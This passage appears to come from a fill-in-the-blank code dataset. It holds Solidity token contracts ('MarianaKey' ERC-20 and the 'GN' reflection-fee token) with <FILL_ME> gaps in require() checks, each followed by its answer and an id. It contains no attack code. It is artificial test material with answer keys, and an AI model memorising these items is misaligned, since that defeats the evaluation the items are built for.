event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MarianaKey is MarianaKeyInterface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
// 建立映射 地址对应了 uint' 便是他的余额
mapping (address => uint256) public balances;
// 存储对账号的控制
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function MarianaKey (
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
}
/**
* 代币交易转移
* 从创建交易者账号发送`_value`个代币到 `_to`账号
*
* @param _to 接收者地址
* @param _value 转移数额
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
// 不是零地址
require(_to != 0x0);
require(<FILL_ME>)
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
/**
* 账号之间代币交易转移
* @param _from 发送者地址
* @param _to 接收者地址
* @param _value 转移数额
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
//返回地址是_owner的账户的账户余额
function balanceOf(address _owner) public view returns (uint256 balance) {
}
//允许_spender多次取回您的帐户,最高达_value金额。 如果再次调用此函数,它将以_value覆盖当前的余量。
function approve(address _spender, uint256 _value) public returns (bool success) {
}
//返回_spender仍然被允许从_owner提取的金额;allowance(A, B)可以查看B账户还能够调用A账户多少个token
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
}
| balances[msg.sender]>=_value&&balances[_to]+_value>=balances[_to] | 325,442 | balances[msg.sender]>=_value&&balances[_to]+_value>=balances[_to] |
null | // Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.21;
contract MarianaKeyInterface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MarianaKey is MarianaKeyInterface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
// 建立映射 地址对应了 uint' 便是他的余额
mapping (address => uint256) public balances;
// 存储对账号的控制
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function MarianaKey (
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
}
/**
* 代币交易转移
* 从创建交易者账号发送`_value`个代币到 `_to`账号
*
* @param _to 接收者地址
* @param _value 转移数额
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
}
/**
* 账号之间代币交易转移
* @param _from 发送者地址
* @param _to 接收者地址
* @param _value 转移数额
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
//避免溢出的异常
require(<FILL_ME>)
// 不是零地址,因为0x0地址代表销毁
require(_to != 0x0);
balances[_to] += _value;
balances[_from] -= _value;
//默认totalSupply 不会超过最大值 (2^256 - 1).
//消息发送者可以从账户_from中转出的数量减少_value
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
//这句则只是把赠送代币的记录存下来
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
//返回地址是_owner的账户的账户余额
function balanceOf(address _owner) public view returns (uint256 balance) {
}
//允许_spender多次取回您的帐户,最高达_value金额。 如果再次调用此函数,它将以_value覆盖当前的余量。
function approve(address _spender, uint256 _value) public returns (bool success) {
}
//返回_spender仍然被允许从_owner提取的金额;allowance(A, B)可以查看B账户还能够调用A账户多少个token
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
}
| balances[_from]>=_value&&allowance>=_value&&balances[_to]+_value>=balances[_to] | 325,442 | balances[_from]>=_value&&allowance>=_value&&balances[_to]+_value>=balances[_to] |
'Excluded addresses cannot call this function' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(<FILL_ME>)
(uint256 rAmount, , , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| !_isExcludedReward[sender],'Excluded addresses cannot call this function' | 325,475 | !_isExcludedReward[sender] |
'Account is already excluded' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
require(<FILL_ME>)
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| !_isExcludedReward[account],'Account is already excluded' | 325,475 | !_isExcludedReward[account] |
'Account is already included' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function isExcludedFromReward(address account) external view returns (bool) {
}
function isUniswapPair(address _pair) external view returns (bool) {
}
function totalFees() external view returns (uint256) {
}
function deliver(uint256 tAmount) external {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
}
function excludeFromReward(address account) external onlyOwner {
}
function includeInReward(address account) external onlyOwner {
require(<FILL_ME>)
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedReward[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
}
function _sendETHToInternal(uint256 amount) private {
}
function _addLp(uint256 tokenAmount, uint256 ethAmount) private {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 tBurn,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _takeBurn(uint256 _tBurn) private {
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
}
function _calculateBurnFee(uint256 _amount) private view returns (uint256) {
}
function _calculateLpFee(uint256 _amount) private view returns (uint256) {
}
function _removeAllFee() private {
}
function _restoreAllFee() private {
}
function isExcludedFromFee(address account) external view returns (bool) {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeInFee(address account) external onlyOwner {
}
function setReflectionFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setInternalFeePercent(uint256 _buy, uint256 _sell)
external
onlyOwner
{
}
function setBurnFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setLpFeePercent(uint256 _buy, uint256 _sell) external onlyOwner {
}
function setInternalAddresses(
address _marketingDevAddress,
address _nightverseAddress
) external onlyOwner {
}
function setMarketingPercent(uint8 perc) external onlyOwner {
}
function addUniswapPair(address _pair) external onlyOwner {
}
function removeUniswapPair(address _pair) external onlyOwner {
}
function transferToAddressETH(address payable _recipient, uint256 _amount)
external
onlyOwner
{
}
function isRemovedSniper(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function amnestySniper(address account) external onlyOwner {
}
function setLiquifyRate(uint256 rate) external onlyOwner {
}
// to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _isExcludedReward[account],'Account is already included' | 325,475 | _isExcludedReward[account] |
'Stop sniping!' | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract GN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address private constant BURN_ADDRESS = address(0xdead);
uint8 public marketingPercent = 50; // 0-100%, splits with nightverse wallet
address payable public marketingDevAddress =
payable(0xd9ecB6138923107bdd77Ef0fB635BDDEdAa87D1e);
address payable public nightverseAddress =
payable(0xC6600d61528c536971c3dD778a076baB5c8b163d);
// PancakeSwap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
// Uniswap V2: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
address private constant DEX_ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'GN';
string private constant _symbol = 'GN';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public buyReflectionFee = 0;
uint256 public sellReflectionFee = 0;
uint256 private _previousBuyReflectFee = buyReflectionFee;
uint256 private _previousSellReflectFee = sellReflectionFee;
uint256 public buyInternalFee = 8; // split between marketing/dev & nightverse
uint256 public sellInternalFee = 8;
uint256 private _previousBuyInternalFee = buyInternalFee;
uint256 private _previousSellInternalFee = sellInternalFee;
uint256 public buyBurnFee = 0;
uint256 public sellBurnFee = 2;
uint256 private _previousBuyBurnFee = buyBurnFee;
uint256 private _previousSellBurnFee = sellBurnFee;
uint256 public buyLpFee = 3;
uint256 public sellLpFee = 3;
uint256 private _previousBuyLpFee = buyLpFee;
uint256 private _previousSellLpFee = sellLpFee;
bool isSelling = false;
uint256 public liquifyRate = 2;
uint256 public launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
bool private _inSwapAndLiquify;
bool private _tradingOpen = false;
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
}
constructor() {
}
function initContract() external onlyOwner {
}
function openTrading() external onlyOwner {
}
function name() external pure returns (string memory) {
}
function symbol() external pure returns (string memory) {
}
function decimals() external pure returns (uint8) {
}
function totalSupply() external pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
